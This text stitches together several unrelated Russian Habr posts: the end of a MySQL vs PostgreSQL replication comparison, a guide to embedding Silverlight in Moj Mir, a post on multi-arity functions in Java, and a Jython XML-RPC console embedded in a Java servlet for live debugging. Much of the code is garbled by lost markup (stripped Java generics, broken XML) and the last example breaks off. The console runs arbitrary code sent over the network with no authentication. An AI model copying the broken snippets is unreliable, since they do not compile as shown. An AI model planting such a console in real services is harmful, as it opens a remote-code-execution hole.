 Из доклада Олега очень сложно понять, что на самом деле стало проблемой в его тестах: нет никакой попытки анализа, нет никаких метрик, ни на уровне ОС, ни на уровне сервера. Для сравнения: [публикация](http://blog.booking.com/evaluating_mysql_parallel_replication_3-benchmarks_in_production.html) инженеров из Booking.com на ту же тему, но с подробным анализом и без «евангелистских» выводов. Особенно рекомендую ознакомиться с разделом [Under the Hood](http://blog.booking.com/evaluating_mysql_parallel_replication_3-under_the_hood.html). Вот так правильно делать и показывать бенчмарки. В докладе Олега на бенчмарки отведено 3 слайда.
Я же просто коротко перечислю возможные проблемы и их решение. Предвижу много комментариев в духе «а в слонике всё нормально работает и без всякого шаманства!». Отвечу на них один раз и больше не буду: физическая репликация проще в настройке, чем логическая, но её возможностей хватает далеко не всем. У логической возможностей больше, но есть и недостатки. Здесь описаны способы минимизации недостатков для MySQL.
Если упираемся в диск
---------------------
Часто для слейва выделяют слабые машины из соображений «ну, это же не основной сервер, сойдёт и этот старый тазик». В старом тазике обычно оказывается слабый диск, в который всё и упирается.
Если диск является узким место при репликации, и использовать что-то мощнее не представляется возможным, нужно снизить дисковую нагрузку.
Во-первых, можно регулировать объём информации, который master записывает в бинарный журнал, а значит пересылается по сети и записывается/читается на слейве. Настройки, которые стоит посмотреть: `binlog_rows_query_log_events`, `binlog_row_image`.
Во-вторых, можно отключить бинарный журнал на слейве. Он нужен только в том случае, если слейв сам является мастером (в multi-master топологии или в качестве промежуточного мастера в каскадной репликации). Некоторые держат бинарный журнал включенным для того, чтобы ускорить переключение слейва в режим мастера в случае failover. Но если с производительностью диска проблемы, его можно и нужно отключить.
В-третьих, можно ослабить настройки durability на слейве. Слейв по определению является неактуальной (за счёт асинхронности) и не единственной копией данных, а значит в случае его падения его можно пересоздать либо из бэкапа, либо из мастера, либо из другого слейва. Поэтому нет никакого смысла держать строгие настройки durability, ключевые слова: `sync_binlog`, `innodb_flush_log_at_trx_commit`, `innodb_doublewrite`.
Наконец, общую настройку InnoDB на интенсивную запись никто не отменял. Ключевые слова: `innodb_max_dirty_pages_pct`, `innodb_stats_persistent`, `innodb_adaptive_flushing`, `innodb_flush_neighbors`, `innodb_write_io_threads` , `innodb_io_capacity`, `innodb_purge_threads`, `innodb_log_file_size`, `innodb_log_buffer_size`.
Если ничего не помогает, можно посмотреть в сторону движка TokuDB, который во-первых оптимизирован для интенсивной записи, особенно если данные не умещаются в память, а во-вторых предоставляет возможность организации [read-free репликации](https://github.com/percona/tokudb-engine/wiki/Read-Free-Replication-with-TokuDB). Это может решить проблему как в IO-bound, так и в CPU-bound нагрузках.
Если упираемся в процессор
--------------------------
При достаточно интенсивной записи на мастере и отсутствии других узких мест на слейве (сеть, диск), можно упереться в процессор. Тут на помощь приходит параллельная репликация, она же multi-threaded slave (MTS).
В 5.6 MTS был сделан в очень ограниченном виде: параллельно выполнялись только обновления в разные базы (схемы в терминологии PostgreSQL). Но наверняка на свете существует непустое множество пользователей, которым и этого вполне достаточно (привет, хостеры!).
В 5.7 MTS был расширен для параллельного выполнения произвольных обновлений. В ранних дорелизных версиях 5.7 параллельность ограничивалась количеством одновременно зафиксированных транзакций в рамках group commit. Это ограничивало параллельность, особенно для систем с быстрыми дисками, что скорее всего и приводило к недостаточно эффективным результатам у тех, кто эти ранние версии тестировал. Это вполне нормально, для того они и ранние версии, чтобы заинтересованные пользователи могли потестировать и поругать. Но далеко не все пользователи догадываются сделать из этого доклад с выводом «PostgreSQL завоюет мир».
Тем не менее, [вот результаты всё тех же sysbench тестов](http://mysqlhighavailability.com/multi-threaded-replication-performance-in-mysql-5-7/), которые использовал для доклада Олег, но уже на GA релизе 5.7. Что мы видим в сухом остатке:
* MTS на слейве достигает 10-кратного увеличения производительности по сравнению с однопоточной репликацией
* использование `slave_parallel_workers=4` уже приводит к росту пропускной способности слейва в более чем 3.5 раза
* производительность row-based репликации практически всегда выше, чем statement-based. Но MTS оказывает больший эффект на statement-based, что несколько уравнивает оба формата с точки зрения производительности на OLTP нагрузках.
Ещё один важный вывод из тестирования Booking.com: чем меньше размер транзакций, тем большей параллельности можно достичь. До появления group commit в 5.6 разработчики старались сделать транзакции как можно больше, часто без необходимости с точки зрения приложений. Начиная с 5.6 в этом нет необходимости, а для параллельной репликации в 5.7 лучше пересмотреть транзакции и разбить на более мелкие там, где это возможно.
Кроме того, можно подстроить параметры `binlog_group_commit_sync_delay` и `binlog_group_commit_sync_no_delay_count` на мастере, что может привести к дополнительной параллельности на слейве даже в случае длинных транзакций.
На этом тему с репликацией в MySQL и популярным докладом я считаю закрытой, переходим к PostgreSQL.
Физическая репликация в PostgreSQL
===================================
Помимо всех плюсов и минусов физической репликации, перечисленных ранее, реализация в PostgreSQL обладает ещё одним существенным недостатком: совместимость репликации не гарантируется между мажорными релизами PostgreSQL, поскольку не гарантируется совместимость WAL. Это действительно серьёзный недостаток для нагруженных проектов и больших кластеров: требуется остановка мастера, апгрейд, затем полное пересоздание слейвов. Для сравнения: проблемы с репликацией от старых версий к новым в MySQL случаются, но их исправляют и в большинстве случаев это работает, от совместимости никто не отказывается. Что и используется при обновлении масштабных кластеров — плюсы «ущербной» логической репликации.
PostgreSQL предоставляет возможность чтения данных со слейва (т.н. Hot Standby), но с этим всё далеко не так просто, как при логической репликации. Из [документации по Hot Standby](http://www.postgresql.org/docs/current/static/hot-standby.html) удалось выяснить, что:
* `SELECT ... FOR SHARE | UPDATE` не поддерживаются, потому что для этого требуется модификация файлов данных
* 2PC команды не поддерживаются по тем же причинам
* явное указание «read write» состояние транзакций (`BEGIN READ WRITE` и т.д.), LISTEN, UNLISTEN, NOTIFY, обновления sequence не поддерживаются. Что в целом объяснимо, Но это значит, что какие-то приложения придётся переписывать при миграции на Hot Standby, даже если никаких данных они не модифицируют
* Даже read-only запросы могут вызывать конфликты с DDL и vacuum операциями на мастере (привет «агрессивным» настройкам vacuum!) В этом случае запросы могут либо задержать репликацию, либо быть принудительно прерваны и есть конфигурационные параметры, которые этим поведением управляют
* слейв можно настроить для предоставления «обратной связи» с мастером (параметр `hot_standby_feedback`). Что хорошо, но интересны накладные расходы этого механизма в нагруженных системах.
Кроме того, я обнаружил дивное предостережение в той же документации:
* **«Operations on hash indexes are not presently WAL-logged, so replay will not update these indexes»** — эээ, а это вообще как? А с физическими бэкапами что?
Есть некоторые особенности с [failover](http://www.postgresql.org/docs/9.4/static/warm-standby-failover.html), которые пользователю MySQL могут показаться странными, например невозможность возврата к старому мастеру после failover без его пересоздания. Цитирую документацию:
> Once failover to the standby occurs, there is only a single server in operation. This is known as a degenerate state. The former standby is now the primary, but the former primary is down and might stay down. To return to normal operation, a standby server must be recreated, either on the former primary system when it comes up, or on a third, possibly new, system.
Есть ещё одна специфическая особенность физической репликации в PostgreSQL. Как я написал выше, накладные расходы по трафику для физической репликации в целом выше, чем в логической. Но в случае с PostgeSQL в WAL записываются (а значит передаются по сети) полные образы обновлённых после checkpoint-ов страниц (`full_page_writes`). Я легко могу представить нагрузки, где такое поведение может стать катастрофой. Здесь наверняка несколько человек кинутся объяснять мне смысл `full_page_writes`. Я знаю, просто в InnoDB это реализовано несколько иначе, не через транзакционный журнал.
**Обновлено 28.09.2016:** Те же проблемы с репликацией, но английскими словами в статье инженеров Uber о причинах перехода с PostgreSQL на MySQL: [eng.uber.com/mysql-migration](https://eng.uber.com/mysql-migration/)
**Обновлено 30.10.2017:** Любопытная проблема, возникшая именно из того факта, что репликация в PostgreSQL физическая: [thebuild.com/blog/2017/10/27/streaming-replication-stopped-one-more-thing-to-check](http://thebuild.com/blog/2017/10/27/streaming-replication-stopped-one-more-thing-to-check/)
В остальном физическая репликация в PostgreSQL наверное действительно надёжный и простой в настройке механизм для тех, кому физическая репликация вообще подходит.
Но пользователи PostgreSQL *тоже люди* и ничто человеческое им не чуждо. Кому-то хочется иногда multi-source. А кому-то multi-master или частичная репликация очень нравится. Наверное, именно поэтому и существует…
Логическая репликация в PostgreSQL
==================================
Я попытался понять состояние логической репликации в PostgreSQL и *что-то приуныл*. Встроенной нет, есть куча сторонних решений (*кто сказал «разброд»?*): Slony-I (кстати, а где Slony-II?), Bucardo, Londiste, BDR, pgpool 1/2, Logical Decoding, и это ещё не считая мёртвых или проприетарных проектов.
У всех какие-то свои проблемы — какие-то выглядят знакомыми (*за них часто критикуют репликацию в MySQL*), какие-то выглядят странно для пользователя MySQL. Какая-то тотальная беда с репликацией DDL, которые не поддерживаются даже в Logical Decoding (интересно, почему?).
BDR требует пропатченную версию PostgreSQL (*кто сказал «форки»?*).
У меня есть некоторые сомнения в производительности. Я уверен, что кто-нибудь в комментариях начнёт объяснять, что репликация на триггерах и скриптах на Perl/Python работает *быстро*, но я в это поверю, только когда увижу сравнительные нагрузочные тесты с MySQL на том же оборудовании.
Logical Decoding выглядит интересно. Но:
1. Это не репликация как таковая, а конструктор/фреймворк/API для создания сторонних решений для логической репликации
2. Использование Logical Decoding требует записи дополнительной информации в WAL (требуется установить `wal_level=logical`). Привет критикам бинарного журнала в MySQL!
3. Какие-то из сторонних решений уже переехали на Logical Decoding, а какие-то ещё нет.
4. Из чтения документации у меня сложилось впечатление, что это аналог row-based репликации в MySQL, только с кучей ограничений: никакой параллельности в принципе, никаких GTID (как делают клонирование слейва и failover/switchover в сложных топологиях?), каскадная репликация не поддерживается.
5. Если я правильно понял [эти слайды](http://www.slideshare.net/8kdata/postgresql-logical-decoding) SQL интерфейс в Logical Decoding использует Poll модель для распространения изменений, а протокол для репликации использует Push модель. Если это действительно так, что происходит при временном выпадении слейва из репликации в Push модели, например из-за проблем с сетью?
6. Есть поддержка синхронной репликации, что хорошо. Как насчёт [полусинхронной репликации](http://yoshinorimatsunobu.blogspot.ru/2014/04/semi-synchronous-replication-at-facebook.html), которая более актуальна в высоконагруженных кластерах?
7. Можно выбирать избыточность информации с помощью опции `REPLICA IDENTITY` для таблицы. Это некий аналог переменной `binlog_row_image` в MySQL. Но переменная в MySQL динамическая, её можно устанавливать отдельно для сессии, или даже отдельно для каждого запроса. Можно ли так в PostgreSQL?
8. Короче говоря, *где можно посмотреть доклад «Асинхронная логическая репликация в PostgreSQL без цензуры»?*. Я бы с удовольствием почитал и посмотрел.
Как я уже говорил, я ни на что не претендую в плане знания PostgreSQL. Если что-то из этого неверно, или неточно — дайте мне знать в комментариях и я обязательно подправлю. Также было бы интересно получить ответы на вопросы, которые у меня возникали по ходу.
Но моё впечатление в целом: логическая репликация в PostgreSQL находится на ранних стадиях развития. В MySQL логическая репликация существует давно, все её плюсы, минусы и подводные камни хорошо известны, изучены, обсуждены и показаны на *разных докладах*. Кроме того она сильно изменилась за последние годы.
Заключение
==========
Поскольку в этой публикации содержится кое-какая критика PostgreSQL, я прогнозирую очередной взрыв комментариев в стиле: *«а вот мы с приятелем вдвоём работали на мускуле и всё было плохо, а теперь работаем на слонике и жизнь наладилась»*. Я верю. Нет, серьёзно. Но я никого не призываю куда-то переходить или что-либо вообще менять.
Статья преследует две цели:
1) ответ на не вполне корректную критику MySQL и
2) попытка систематизировать многочисленные различия между MySQL и PostgreSQL. Такие сравнения требуют огромного труда, но именно этого от меня часто ожидают в комментариях.
В следующей публикации я собираюсь продолжить сравнения, на этот раз в свете производительности. | https://habr.com/ru/post/269889/ | null | ru | null |
# Создаем Silverlight-приложение для сети Мой Мир@Mail.Ru
 Как известно, наиболее популярные социальные сети в мире позволяют писать под себя специальные приложения. Одним из ярких примеров является Facebook, у которых есть своя разметка, доступ к данным и так далее. Мне было интересно написать сетевое прилоложение на Silverlight, и для Facebook для этого специальные проекты – например, [Facebook Toolkit](http://www.codeplex.com/FacebookToolkit/) и [Facebook.NET](http://www.codeplex.com/FacebookNET).
Среди российских сетей приложения позволяют писать ВКонтакте и Мой Мир, правда первый требует использования только Flash и все. Мой Мир же более дружественный – поддерживает обычный HTML, а значит и Silverlight. Собственно с ним я и решил экспериментировать.
На самом деле все просто – после регистрации в сервисе находим в меню “[Мои приложения](http://my.mail.ru/cgi-bin/app/installed)”, нажимаем на “[Разработку приложений](http://my.mail.ru/cgi-bin/app/dev/doc)” и узнаем, как все это можно делать. Мой Мир поддерживает [OpenSocial](http://opensocial.org/), так что мы можем программно получать информацию о нас самих, наших друзьях в сети и так далее.
При создании нового приложения нужно указать его имя, описание, выбрать картинку. После этого можно переходить к коду. В случае использования Silverlight код представляет собой просто объект , который ссылается на соотествующий XAP-файл приложения в сети.
В качестве эксперимента я вставлял видео с [Channel9](http://channel9.msdn.com/Russa) (код показывается по кнопке embed), твиттер-гаджет [Silverster](http://www.silverlightshow.net/items/Silvester-A-Silverlight-Twitter-Widget.aspx) и gamertag для приставки XBox – [XBox Friends Watch](http://adamkinney.com/studios/xboxfriendswatch/). Пример вставки двух последних можно найти на главной странице [моего блога](http://blogs.msdn.com/mikcher).
Я не стал создавать специальное Silverlight-приложение для работы с OpenSocial – хотя было бы интересно сделать визуализатор социальных связей или что-то в таком духе. Для проверки работы я просто над Silverlight-объектом в HTML вставляю текущее имя пользователя через вызов соответствующего метода.
Вот как выглядит код приложения для твиттера (не забудьте указать свои данные):
> `1. xml version=<font color="#A31515""1.0"
> encoding="windows-1251" ?>
> -
>
> - "test - Twitter" description="Отображает свой твиттер через гаджет Silverster"
>
> - height="451" thumbnail="http://content.foto.mail.ru/mail/mixen/\_myapps/i-7.jpg"
>
> - author="YourName" author\_email="YourMail@mail.ru">
>
> - "opensocial-0.7" />
>
> -
>
> - "html" view="profile"></li>
> <li><html></li>
> <li> <head></li>
> <li> <meta http-equiv=content-type content=<font color="#A31515">"text/html; charset=windows-1251"</font>></li>
> <li> </li>
> <li> </head></li>
> <li> <body></li>
> <li><b><div id=<font color="#A31515">"myname"</font> style=<font color="#A31515">"font-family: Arial, Helvetica, sans-serif;"</font>></div></b></li>
> <li><<font color="#0000ff">object</font> data=<font color="#A31515">"data:application/x-silverlight,"</font> </li>
> <li>type=<font color="#A31515">"application/x-silverlight-2"</font> </li>
> <li>width=<font color="#A31515">"100%"</font> height=<font color="#A31515">"100%"</font>></li>
> <li> <param name=<font color="#A31515">"source"</font> value=<font color="#A31515">"http://www.silverlightshow.net/twitter/ClientBin/Silvester.xap"</font>/></li>
> <li> <param name=<font color="#A31515">"enableHtmlAccess"</font> value=<font color="#A31515">"true"</font> /></li>
> <li> <param name=<font color="#A31515">"onerror"</font> value=<font color="#A31515">"onSilverlightError"</font> /> </li>
> <li> <param name=<font color="#A31515">"background"</font> value=<font color="#A31515">"white"</font> /></li>
> <li> <param name=<font color="#A31515">"initParams"</font> value=<font color="#A31515">"twitterUser=mixen"</font> /></li>
> <li> <a href=<font color="#A31515">"http://go.microsoft.com/fwlink/?LinkID=124807"</font> style=<font color="#A31515">"text-decoration: none;"</font>></li>
> <li> <img src=<font color="#A31515">"http://go.microsoft.com/fwlink/?LinkId=108181"</font> alt=<font color="#A31515">"Get Microsoft Silverlight"</font> style=<font color="#A31515">"border-style: none"</font>/></li>
> <li> </a> </li>
> <li></<font color="#0000ff">object</font>> </li>
> <li> </li>
> <li><script type=<font color="#A31515">"text/javascript"</font>></li>
> <li><font color="#0000ff">var</font> req = opensocial.newDataRequest();</li>
> <li>req.add(req.newFetchPersonRequest(<font color="#A31515">'VIEWER'</font>), <font color="#A31515">'viewer'</font>);</li>
> <li>req.send(load); </li>
> <li> </li>
> <li><font color="#0000ff">function</font> load(dataResponse)</li>
> <li>{</li>
> <li><font color="#0000ff">var</font> viewer = dataResponse.get(<font color="#A31515">"viewer"</font>).getData();</li>
> <li><font color="#0000ff">document</font>.getElementById(<font color="#A31515">'myname'</font>).innerHTML = viewer.getDisplayName();</li>
> <li>}</li>
> <li> </li>
> <li></script> </li>
> <li> </body></li>
> <li></html></li>
> <li>
>
> -
>
> -
>
> \* This source code was highlighted with Source Code Highlighter.`
Может кто сделает какое-то действительно интересное социальное приложение, которое можно будет опубликовать в каталоге и сделать популярным среди пользователей? Все оказалось действительно просто. | https://habr.com/ru/post/52695/ | null | ru | null |
# Мульти-арные функции в Java
[](https://habrahabr.ru/post/344302/)
Напомню: арность (англ. arity) — это количество параметров функции. Соответсвенно мульти-арные (это слово можно писать вместе или раздельно) функции — это функции с несколькими параметрами. В Java 8 были введены функции с одним и двумя входными параметрами. А как быть если параметров больше?
Когда надо много входных параметров
-----------------------------------
В Java существует Function и BiFunction, где X и Y это типы входных параметров, а R — тип выходного параметра. А вот функции с тремя и большим количеством входных параметров необходимо определять самому.
Откуда такая несправедливость? Почему в классе можно определять метод с любым количестаом параметров, а функции с тремя и больше параметров надо определять специально?
Но если надо — попробуем определить. Но как? Наверняка вы слышали о карринге — методе преобразования функции с N параметрами в функцию с N — 1 параметрами. И наверное это первое, что сразу многим прийдет на ум: Мне необходимо мою многопараметрическую (мультиарную) функцию каррировать! Но вот как преобразовать вашу конкретную функцию?
Например, у вас есть функция 
Вы уже догадались как привести её к виду 
Или это трудновато? Как он делается, этот самый карринг? Вроде недавно попадалась статья на эту тему…
Не буду вас дальше мучить. Не пугайтесь. Java 8 делает это за вас. Например, чтобы дальше определять функции с тремя входными параметрами:
вам надо сначала однажды определить интерфейс:
```
@FunctionalInterface
public interface Function3Arity {
R apply(A a, B b, C c);
}
```
После этого вы можете определять конкретные варианы тернарных (трех-арных) функций. Например вот так:
```
private static Function3Arity f3 =
(a, op, b) ->{return "" + a + op + b + "=" + (a+b);};
```
Проверим, как это работает:
```
@Test
public void testFunction3Arity() {
String result = f3.apply(2, "+", 3);
assertEquals("2+3=5", result);
}
```
Соответствующие интерфейсы вы должны определить для каждой используемой арности N=3,4,…
И все бы хорошо, да худо только в том, что прийти к этому решению рациональным путем просто невозможно. (Если Вы как и я не являетесь экспертом в области функционального программирования). Я имею ввиду способность метода apply воспринимать и правильно интерпретировать произвольное количество параметров. В документации это не написано. И не написано, можно ли это сделать как-нибудь другим способом. А я, когда передо мной возникла эта задача, надеялся найти нечто подобное в спецификации класса Function или содержащего её пакета. Например [здесь](https://docs.oracle.com/javase/8/docs/api/java/util/function/package-summary.html) или [здесь](https://docs.oracle.com/javase/8/docs/api/java/util/function/Function.html).
Когда надо много выходных параметров
------------------------------------
Мы рассмотрели пример, где было много входных параметров. А что делать, если у нас много выходных параметров?
Как известно, Java позволяет с помощью return возвращать только один примитивный элемент или объект. А хотелось бы иметь возможность уже на уровне сигнатуры функции различать входные и выходные параметры. Т.е. иметь сигнатуры типа: 
К сожалению, сделать это напрямую не получится. Выходные параметры надо как-то структурировать. Для этого можно создавать временный обьект либо записывать параметры в список (List ). Первыи способ тяжеловесен а второй неприятен потерей статического контроля над типами выходных параметров, если эти типы разные.
С моей точки зрения, более элегантным является использование .
Например, класс Tuple2 выглядит вот так:
```
public class Tuple2 {
public final A a1;
public final B a2;
public Tuple2(A t, B u) {
a1 = Objects.requireNonNull(t);
a2 = Objects.requireNonNull(u);
}
@Override
public boolean equals(Object o) {…}
@Override
public int hashCode() {…}
}
```
С помощью этого класса функцию с тремя входными и двумя выходными параметрами можно определить вот так:
```
private static Function3Arity> f3And2 =
(a, op, b) ->{
int intValue = a + b;
String sValue = "" + a + op + b + "=" + (a+b);
return new Tuple2<>(intValue, sValue);
};
```
Проверим как это работает:
```
@Test
public void testFunction3And2Arity() {
Tuple2,? result = f3And2.apply(2, "+", 3);
assertEquals(5, result.a1);
assertEquals("2+3=5", result.a2);
}
```
Заключительное правило
----------------------
1. Если в вашей функции 3 и больше входных параметра(ов) — вам необходимо определить новый N-арный интерфейс и с его помощью в последующем определять конкретные функции.
2. Если в вашей функции 2 и больше выходных параметра(ов) — определите класс TupleN и пакуйте в него параметры перед выводом из функции с помощью return.
Код примеров вы найдете в моём проекте на GitHub [здесь](https://github.com/vsirotin/Smartenesse-Java).
Иллюстрация: [geralt](https://pixabay.com/de/tafel-schule-universit%C3%A4t-forschung-2853022/) | https://habr.com/ru/post/344302/ | null | ru | null |
# Jython-консоль вашего приложения
Расскажу вам как я использую интерактивную консоль Jython для ускорения разработки Bean'ов в поддерживаемом мной приложении.
#### Суть вопроса
Каждый кто хоть раз сталкивался с долго разрабатывающимися Java-приложениями, знает, что многие из них очень медленно собираются и стартуют. Не будем обсуждать почему так получается. Это тема отдельной статьи.
По долгу службы пришлось поддерживаю очень древнее приложение с громадной кодовой базой. Хуже всего то, что оно собирается оно от минуты до семи и ещё минуты три стартует. Опять же каждому программисту не сложно представить себе какой ад написать энное количество кода, а затем ловить NullPointerException'ы от внешних сервисов с таким длинным циклом Implement->Compile->Start Deploy->Wait->Smoke->Wait->Test.
Возможен также другой вариант. Есть энное количество кода в классе, который нужно адаптировать под выполнение задачи, близкой уже им выполняемой. А теперь представьте, что этот класс реализован в рамках Java 1.4. Он не работает с Generic'ами, потому что они были добавлены только в Java 1.5. Кроме того программисты, ранее занимавшиеся поддержкой системы, этим активно пользуются и суют в коллекции возвращаемые методами других классов, что не попадя вплоть до анонимных реализаций java.lang.Object.
Поев кактус пару дней я почувствовал, что начинаю сходить с ума от того, что пишу *пять-двадцать* строк работающего кода в день.
Способом ускорения разработки в таких варварских условиях я усмотрел только вкрутить в приложение интерпретатор какого-либо динамического языка для быстрого прототипирования уязвимого к таким условиям кода сначала на нём, а потом реализации алгоритма на Java. Конечно же в рамках решение нужна была ещё и интерактивная консоль этого языка. Какая же без этого динамика? Консоль хотелось в не в апплете из-за того, что апплеты очень плохо работают(скажем так, они просто не работают) во FreeBSD, к которой я очень уж привык в последнее время.
#### Поиск существующих решений
Как приверженец мнения, что изобретать «вило»-сипеды(потому как часто от них остаются только вилы) не тру, решил на выходных копать в сторону уже существующих решений этого вопроса. Очень хотелось Python. Но перед тем как вернутся к первому выбору, успел посмотреть в сторону:
* Beanshell — отброшен по причине убогости телнет-консоли, поставляемой из коробки вместе с интерпретатором. Апплет не подходит.
* JRuby — отброшен по причине не того, что я обнаружил, что успел благополучно забыть этот язык с тех пор, как игрался с Rails во времена первой вспышки его популярности. Быстрое гугление не дало результатов кроме каких-то Corba-монстров. Испугался и закрыл...
* Groovy
Что-то похожее на то, что хотел [нашёл у Sakai](http://confluence.sakaiproject.org/display/SGS/Home). Реализовано в качестве Spring Bean'а, а у нас свой Dependecy Injection-фрэймворк с блэкджеком и шлюхами. Не попробовал.
##### Jython
Python-программистам хорошо известна одна из его концепций «batteries included», что означает много разных вкусных библиотек даже в стандартной поставке. Только у Java свои батарейки. Реализация Python для JVM просто эталонная, а вот библиотеки пока портированы не полностью(например setuptools начал устанавливаться в Jython-окружении совсем недавно), так что у меня не получилось завести родные Python-решения.
Попробовал [RPyC](http://rpyc.wikidot.com/) с разными версиями Jython(ночь прошла незаметно). Почитал про [Twisted Manhole](http://twistedmatrix.com/documents/8.1.0/api/twisted.manhole.html). Решил не сливать исходники тестовой ветки интеграции с Jython, потому как была опасность начать фиксить Twisted для Jython и стать после этого холостяком.
Собрал [github.com/EnigmaCurry/jython-shell-server](http://github.com/EnigmaCurry/jython-shell-server) и понял: нет readline, нет счастья. Telnet не поддерживает readline, если разработчик не реализовал эту функциональность на серверной стороне. Представьте, что написали строку длиной в символов в 80 и вспомнили, что первый объект называется по другому. Конечно можно торкать мышкой в консоль, но хотелось родной похожей на bash-среды.
#### Моя реализация
##### Сервер
За пять минут выбрал XMLRPC в качестве интерфейса сервера. За следующих пять минут не передумал. За следующих 20 минут реализовал.
Код сервера на Jython:
`> from SimpleXMLRPCServer import \*
>
>
> from os import path
>
>
> from code import InteractiveConsole as BaseInteractiveConsole
>
>
>
>
>
> class Stdout(object):
>
>
> """Замена stdout для буферизации вывода в строку"""
>
>
> def \_\_init\_\_(self):
>
>
> self.buffer = ''
>
>
>
>
>
> def get\_buffer(self):
>
>
> """Получаем накопленный буфер и сбрасываем его"""
>
>
> bc = self.buffer
>
>
> self.buffer = ''
>
>
> return bc
>
>
>
>
>
> def write(self, bs):
>
>
> """Пишем в буфер вместо стандартного вывода"""
>
>
> self.buffer += bs
>
>
> return len(bs)
>
>
>
>
>
> class InteractiveConsole(BaseInteractiveConsole):
>
>
> """Интерактивная консоль, возращает вывод выполнения команды"""
>
>
>
>
>
> def \_\_init\_\_(self, locals):
>
>
> """Принимаем контекст выполнения консоли"""
>
>
> BaseInteractiveConsole.\_\_init\_\_(self, locals)
>
>
> #Заменяем стандартные потоки собственной реализацией
>
>
> self.stdout = sys.stdout = sys.stderr = Stdout()
>
>
>
>
>
> def push(self, line):
>
>
> result = BaseInteractiveConsole.push(self, line)
>
>
> return (result, self.stdout.get\_buffer()) #Возвращаем вывод вместе с результатом
>
>
>
>
>
>
>
>
>
>
>
> class Server(SimpleXMLRPCServer):
>
>
> """XMLRPC-сервер, поставляющий в сеть методы интерактивной консоли"""
>
>
>
>
>
> def \_\_init\_\_(self, ls, \*args, \*\*kwargs):
>
>
> SimpleXMLRPCServer.\_\_init\_\_(self, \*args, \*\*kwargs)
>
>
> self.register\_introspection\_functions()
>
>
> #Регистрируем экземпляр консоли как обработчик с передачей контекста
>
>
> self.register\_instance(InteractiveConsole(ls))`
##### Клиент
В качестве базового интерфейса был выбран Cmd, который из коробки поддерживает readline, что нам и нужно.
Код сервера на этот раз на Python(похоже Cmd в Jython не поддерживает readline):
`> from cmd import Cmd as BaseCmd
>
>
> from code import InteractiveConsole as BaseInteractiveConsole
>
>
> import re, sys
>
>
> from xmlrpclib import ServerProxy
>
>
>
>
>
> class Cmd(BaseCmd):
>
>
> """Реализация прокси-консоли"""
>
>
> reg = re.compile('^\s\*')
>
>
> def \_\_init\_\_(self, host, port):
>
>
> BaseCmd.\_\_init\_\_(self)
>
>
> self.s = ServerProxy('http://%s:%d' % (host, int(port))) #Клиент нашего сервиса
>
>
> self.prompt = '>>> ' #Приглашение к вводу
>
>
> self.leading\_ws = '' #Переменная для ведущих пробелов
>
>
> self.is\_empty = False #Переменная определяющая пустую команду
>
>
>
>
>
> def precmd(self, line):
>
>
> """Тестируем различные условия с сырой строкой,
>
>
> которая затем фильтруется"""
>
>
> #Сохраняем ведущие пробелы, т.к. они фильтруется при передаче в default
>
>
> self.leading\_ws = self.reg.match(line).group(0)
>
>
> #Пустая ли команда, т.к. пустая команда далее преобразуется в повторение предыдущей
>
>
> self.is\_empty = (line == '')
>
>
> return line #Выполняем контракт, описанный в документации
>
>
>
>
>
> def default(self, line):
>
>
> if(self.is\_empty): #Восстанавливаем пустую строкy
>
>
> line = ''
>
>
> line = self.leading\_ws + line #Восстанавливаем ведущие пробелы
>
>
> (result, output) = self.s.push(line) #Выполняем строку в удалённой консоли
>
>
> #В случае если требуется новый ввод устанавливаем соответствующее приглашение
>
>
> self.prompt = ('... ' if result else '>>> ')
>
>
> sys.stdout.write(output) #Пишем аутпут в аутпут :)
>
>
>
>
>
> if \_\_name\_\_ == '\_\_main\_\_':
>
>
> HOST, PORT = sys.argv[1:]
>
>
> Cmd(HOST, PORT).cmdloop()`
##### Java-обёртка для сервера
Простой Bean для запуска нашего сервера. Проще просто некуда.
`> package net.rjyc;
>
>
>
>
>
> import org.python.util.PythonInterpreter;
>
>
> import java.util.\*;
>
>
>
>
>
> public class Server {
>
>
> private PythonInterpreter i;
>
>
> public PythonInterpreter getInterpreter() {
>
>
> return i;
>
>
> }
>
>
> public Server(String host, int port) {
>
>
> this(host, port, new HashMap<String, Object>());
>
>
> }
>
>
> public Server(String host, int port, Map<String, Object> locals) {
>
>
> i = new PythonInterpreter();
>
>
> //устанавливаем аргументы в экземпляр интерпретатора
>
>
> i.set("host", host);
>
>
> i.set("port", port);
>
>
> i.set("ls", locals);
>
>
> }
>
>
>
>
>
> public void start() {
>
>
> //запускаем сервер интерактивной консоли
>
>
> i.exec("from rjyc import Server; Server(dict(ls), (host, port), logRequests = False).serve\_forever()");
>
>
> }
>
>
> }`
#### Использование
Предствьте себе гипотетический сервлет, который выводит список ссылок из своего поля.
`> import javax.servlet.http.\*;
>
>
> import java.util.\*;
>
>
> import java.io.\*;
>
>
>
>
>
> public class Hello extends HttpServlet {
>
>
> public final Map<String, String> links = new HashMap<String, String>();
>
>
> {
>
>
> links.put("Python", "http://python.org");
>
>
> links.put("Java", "http://java.net");
>
>
> }
>
>
> @Override protected void doGet(HttpServletRequest request, HttpServletResponse response)
>
>
> throws IOException {
>
>
> PrintWriter writer = response.getWriter();
>
>
> for(Map.Entry<String, String> e: links.entrySet())
>
>
> writer.println("\""+e.getValue()+"\">"+e.getKey()+"");
>
>
> writer.close();
>
>
> }
>
>
> }`
Вот, что нам отвечает вебсервер:
````
siasia@siasia ~ % wget http://localhost:8080 -O - 2>/dev/null
[Python](http://python.org)
[Java](http://java.net)
````
Теперь внедрим в него нашу консоль.
`> import javax.servlet.http.\*;
>
>
> import java.util.\*;
>
>
> import java.io.\*;
>
>
> import net.rjyc.Server;
>
>
>
>
>
> public class Hello extends HttpServlet {
>
>
> public final Map<String, String> links = new HashMap<String, String>();
>
>
> {
>
>
> links.put("Python", "http://python.org");
>
>
> links.put("Java", "http://java.net");
>
>
> Thread t = new Thread() {
>
>
> @Override public void run() {
>
>
> Map<String, Object> locals = new HashMap<String, Object>();
>
>
> locals.put("this", Hello.this);
>
>
> new Server("localhost", 8081, locals).start();
>
>
> }
>
>
> };
>
>
> t.start();
>
>
> }
>
>
> @Override protected void doGet(HttpServletRequest request, HttpServletResponse response)
>
>
> throws IOException {
>
>
> PrintWriter writer = response.getWriter();
>
>
> for(Map.Entry<String, String> e: links.entrySet())
>
>
> writer.println("\""+e.getValue()+"\">"+e.getKey()+"");
>
>
> writer.close();
>
>
> }
>
>
> }`
И подключимся к ней:
````
siasia@siasia ~ % python client.py localhost 8081
>>> this
examples.Hello@13ebc5c
>>> this.links
{Python=http://python.org, Java=http://java.net}
>>> this.links['Scala'] = 'http://scala-lang.org'
>>> this.links
